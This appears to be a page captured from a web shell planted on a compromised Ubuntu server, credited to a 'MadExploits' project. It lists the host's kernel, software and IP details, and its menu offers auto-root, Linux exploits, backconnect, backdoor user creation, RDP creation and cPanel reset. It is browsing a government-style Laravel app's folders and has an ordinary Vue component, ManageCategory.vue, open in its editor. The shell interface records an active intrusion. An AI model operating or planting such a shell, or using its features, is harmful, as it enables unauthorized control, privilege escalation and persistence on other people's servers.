Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sifaris /
resources /
js /
components /
[ HOME SHELL ]
Name
Size
Permission
Action
FiscalYears.vue
9.49
KB
-rw-rw-r--
ManageCategory.vue
11.68
KB
-rw-rw-r--
ManageSifaris.vue
18.06
KB
-rw-rw-r--
Offices.vue
11.13
KB
-rw-rw-r--
SifarisForms.vue
10.84
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ManageCategory.vue
<template> <div> <div v-if="ui.error_message" class="alert alert-danger"> {{ ui.error_message }} </div> <div class="row"> <div class="col-md-8"> <div class="mb-3"> <input type="text" class="form-control" placeholder="filter by title" v-model="page.search_title"/> </div> <div class="card rounded-3"> <div class="table-responsive"> <table class="table mb-0"> <thead class="text-muted table-light text-nowrap"> <th>Code</th> <th>Name</th> <th>Display Position</th> <th>Active</th> <th></th> </thead> <tbody> <tr v-for="(item, key) in filtered_categories" :key="key"> <td> {{ item.code }} </td> <td> <div v-for="item_c in item.details">{{ item_c.name }}</div> </td> <td> {{ item.seq }} </td> <td> <span v-if="item.is_active"> <i class="fas fa-check text-success"></i> </span> <span v-else="item.is_active"> <i class="fas fa-times text-danger"></i> </span> </td> <td> <a class="btn green-btn me-1" href="#" @click="editItem(item)" v-if="can_edit"><i class="fas fa-pen"></i></a> <a class="btn red-btn" href="#" @click="deleteItem(item.id)" v-if="can_delete"><i class="fas fa-trash"></i></a> </td> </tr> <tr v-if="!filtered_categories.length"> <td colspan="3" class="text-danger">No record found. You may consider adding one.</td> </tr> </tbody> </table> </div> </div> </div> <div class="col-md-4" v-if="can_edit"> <div class="card p-3 rounded-3"> <div v-if="has_errors" class="alert alert-danger"> <ul> <li v-for="(item_e, key_e) in ui.errors">{{ item_e[0] }}</li> </ul> </div> <h4>{{ add_edit_title }}</h4> <div class="form-wrap mt-3"> <div class="form-group"> <input id="chkIsActive" type="checkbox" v-model="item.is_active" /> <label for="chkIsActive" class="ms-1">Make this record active</label> </div> <div class="form-group"> <label class="mt-1">Code <small>(optional)</small></label> <input type="text" class="form-control" v-model="item.code" maxlength="80" /> </div> <div class="form-group"> <label class="mt-1">Display Position *</label> <input type="text" class="form-control" v-model="item.seq" /> </div> <div v-for="(item_y, key) in item.language_items" class="form-group"> <label class="mt-1">{{ master_type.singular_name }} *</label> <input type="text" class="form-control" v-model="item_y.category_name" required maxlength="255" /> </div> <div class="form-group"> <button class="btn btn-primary mt-2" @click="save()" :disabled="ui.sending">{{ add_update_title }}</button> <button class="btn btn-muted mt-2" @click="resetItem()">Cancel</button> </div> </div> </div> </div> </div> </div> </template> <script> export default { components: { }, props: ["master_type", "languages", "save_url", "delete_url", "list_url", "permissions"], data() { return { item: { id: null, code: null, seq: 0, parent_id: null, is_active: false, language_items: [ ] }, page: { categories: [], search_title: '' }, ui: { error_message: '', sending: false, errors: {}, add_edit_mode: 'add' } }; }, methods: { save: function () { this.ui.sending = true; this.ui.error_message = null; this.ui.errors = {}; let data = { ...this.item }; data.name = this.master_type.singular_name; axios .post(this.save_url, data) .then((response) => { if (response.data.success === true) { alert( 'Record saved successfully!' ); this.resetItem(); this.get(); } else { this.ui.error_message = response.data.msg; alert('Saving record failed.'); } }) .catch((error) => { this.handleError(error); }) .finally(() => { this.ui.sending = false; }); }, get: function () { axios .get(this.list_url) .then((response) => { this.page.categories = response.data.data; }) .catch((error) => { alert('There has been error. Please reload page to see latest changes.'); }) .finally(() => { }); }, resetItem: function () { this.item.id = null; this.item.code = null; this.item.parent_id = null; this.item.is_active = false; this.item.language_items.forEach(function (item) { item.category_name = ''; }); this.ui.add_edit_mode = 'add'; }, deleteItem: function (id) { this.resetItem(); if (!confirm('Sure to delete this record?')) return; axios .post(this.delete_url, { post_id: id }) .then((response) => { if (response.data.success === true) { alert( 'Record deleted successfully!' ); this.get(); } else { this.ui.error_message = response.data.msg; alert('Deleting record failed.'); } }) .catch((error) => { console.log(error); // alert('There has been error. Please reload page to see latest changes.'); this.handleError(error); }) .finally(() => { }); }, editItem: function (item) { this.item.id = item.id; this.item.seq = item.seq; this.item.code = item.code; this.item.parent_id = item.parent_id; this.item.is_active = item.is_active; this.item.language_items.forEach(function (lng) { let y = item.details.find(x => x.language_id == lng.language_id); if (y) lng.category_name = y.name; }); this.ui.add_edit_mode = 'edit'; }, handleError: function (error) { if (error && error.response && error.response.status == 422) { this.ui.errors = error.response.data.errors; } else if (error && error.response && error.response.status == 500) { if (error.response.data.message) { this.ui.error_message = error.response.data.message; } else this.ui.error_message = "Some error occurred. Please try again later."; } else { this.ui.error_message = "Some error occurred. Please try again later."; } this.$toast.error('Error occurred'); }, }, created() { if (this.languages) { let that = this; this.languages.forEach(function (element) { that.item.language_items.push({ language_id: element.id, language_name: element.name, category_name: '' }); }) } this.get(); console.log('this.master_type.name', this.master_type.name); }, mounted() { }, computed: { has_errors: function (params) { return Object.keys(this.ui.errors).length > 0; }, add_edit_title: function () { return this.ui.add_edit_mode == 'add' ? 'Add ' + this.master_type.singular_name : 'Edit ' + this.master_type.singular_name; }, add_update_title: function () { if (this.ui.sending) return 'Sending...'; return this.ui.add_edit_mode == 'add' ? 'Add ' + this.master_type.singular_name : 'Update ' + this.master_type.singular_name; }, categories: function () { if (this.item.id) { let that = this; return this.page.categories.filter(function ($y) { return $y.id !== that.item.id; }); } else { return this.page.categories; } }, filtered_categories: function () { if (!this.page.search_title) return this.page.categories; return this.page.categories.filter((item) => { return item.details[0].name .toUpperCase() .includes(this.page.search_title.toUpperCase()) }) }, can_edit: function () { let can = false; if (this.permissions && this.permissions.length) { let rule = this.permissions.find(x => x == 'Add/Edit Setting'); if (rule) can = true; } return can; }, can_delete: function () { let can = false; if (this.permissions && this.permissions.length) { let rule = this.permissions.find(x => x == 'Delete Setting'); if (rule) can = true; } return can; } }, watch: { }, }; </script>
Close